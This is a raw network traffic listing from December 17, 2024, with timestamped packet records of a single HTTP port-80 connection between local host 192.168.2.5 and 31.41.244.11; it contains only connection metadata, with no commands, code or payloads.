Dec 17, 2024 08:03:50.190637112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.190665960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.191406012 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.191457033 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.191504002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.191551924 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.192406893 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.192456007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.192718983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.192769051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.193455935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.193502903 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.193557024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.193613052 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.194606066 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.194642067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.194654942 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.194685936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.195622921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.195657015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.195671082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.195703983 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.196521044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.196557999 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.196573019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.196609020 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.197581053 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.197629929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.336925030 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.336978912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.337030888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.337110996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.337187052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.337223053 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.337249041 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.337263107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.338205099 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.338254929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.338290930 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.338462114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.339380980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.339416027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.339462042 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.340194941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.340245962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.340297937 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.340409040 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.341562033 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.341597080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.341645002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.342322111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.342371941 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.342427969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.342608929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.343399048 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.343436956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.343445063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.343482971 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.344172955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.344223022 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.344296932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.344405890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.345793962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.345829010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.345845938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.345875025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.346179962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.346236944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.346321106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.346368074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.347222090 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.347265959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.347296000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.347366095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.348243952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.348301888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.348345995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.348421097 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.349236965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.349338055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.349338055 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.349384069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.350383043 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.350418091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.350435972 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.350483894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.351234913 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.351281881 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.351382017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.351430893 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.352334976 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.352369070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.352396965 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.352420092 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.353424072 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.353460073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.353471994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.353503942 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.354439974 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.354474068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.354485035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.354515076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.355401993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.355437040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.355479002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.356383085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.356417894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.356435061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.356456995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.357352018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.357418060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.357448101 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.357501984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.358278990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.358340979 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.358416080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.358464956 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.359294891 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.359355927 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.359416008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.359467030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.360325098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.360378981 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.360435009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.360526085 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.361493111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.361526966 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.361571074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.362552881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.362607002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.362653971 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.362776041 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.363375902 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.363430977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.363432884 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.363486052 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.364651918 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.364687920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.364734888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.365331888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.365384102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.365444899 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.365602016 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.366471052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.366506100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.366549969 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.367405891 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.367455959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.367531061 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.367578983 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.368624926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.368659019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.368674994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.368700981 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.369383097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.369436026 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.369494915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.369611025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.370454073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.370502949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.370531082 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.370677948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.371572971 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.371608019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.371619940 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.371653080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.372766018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.372801065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.372829914 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.372850895 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.373456001 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.373514891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.373593092 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.373641968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.374485970 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.374542952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.374557018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.374599934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.375581026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.375614882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.375638962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.375659943 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.376508951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.376560926 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.376566887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.376611948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.377619982 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.377655029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.377669096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.377703905 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.378684044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.378719091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.378735065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.378766060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.379446983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.379501104 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.379584074 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.379635096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.380543947 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.380594015 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.380609989 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.380773067 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.381617069 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.381673098 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.381709099 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.381761074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.382452011 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.382503986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.382563114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.382615089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.383461952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.383512974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.383625984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.383671045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.384656906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.384691000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.384706020 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.384735107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.385523081 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.385572910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.385628939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.385677099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.386528969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.386625051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.386686087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.386732101 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.387521029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.387625933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.387676001 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.388516903 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.388566971 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.388628006 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.388797045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.389590025 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.389642000 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.528666019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.528736115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.528862953 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.528923035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.529098988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.529155016 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.529213905 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.529289007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.530088902 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.530142069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.530296087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.530344963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.531084061 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.531132936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.531224966 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.531290054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.532073021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.532130957 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.532205105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.532248974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.533128977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.533185005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.533231020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.533288002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.534240961 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.534307003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.534368038 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.534424067 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.535104036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.535161972 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.535200119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.535319090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.536328077 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.536364079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.536379099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.536407948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.537110090 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.537163019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.537259102 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.537309885 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.538182974 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.538232088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.538583994 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.538662910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.539226055 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.539273024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.539349079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.539402008 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.540139914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.540201902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.540298939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.540365934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.541244984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.541309118 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.541369915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.541423082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.542155981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.542222977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.542287111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.542335033 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.543236017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.543287039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.543288946 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.543350935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.544189930 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.544238091 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.544295073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.544339895 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.545186043 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.545241117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.545289993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.545331955 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.546278954 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.546348095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.546410084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.546461105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.547241926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.547360897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.547373056 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.547509909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.548230886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.548288107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.548295975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.548331976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.549288988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.549341917 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.549341917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.549384117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.550228119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.550275087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.550331116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.550384045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.551234961 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.551285982 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.551350117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.551417112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.552241087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.552298069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.552519083 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.552587986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.553318977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.553384066 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.553464890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.553517103 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.554270983 CET	80	49920	31.41.244.11	192.168.2.5
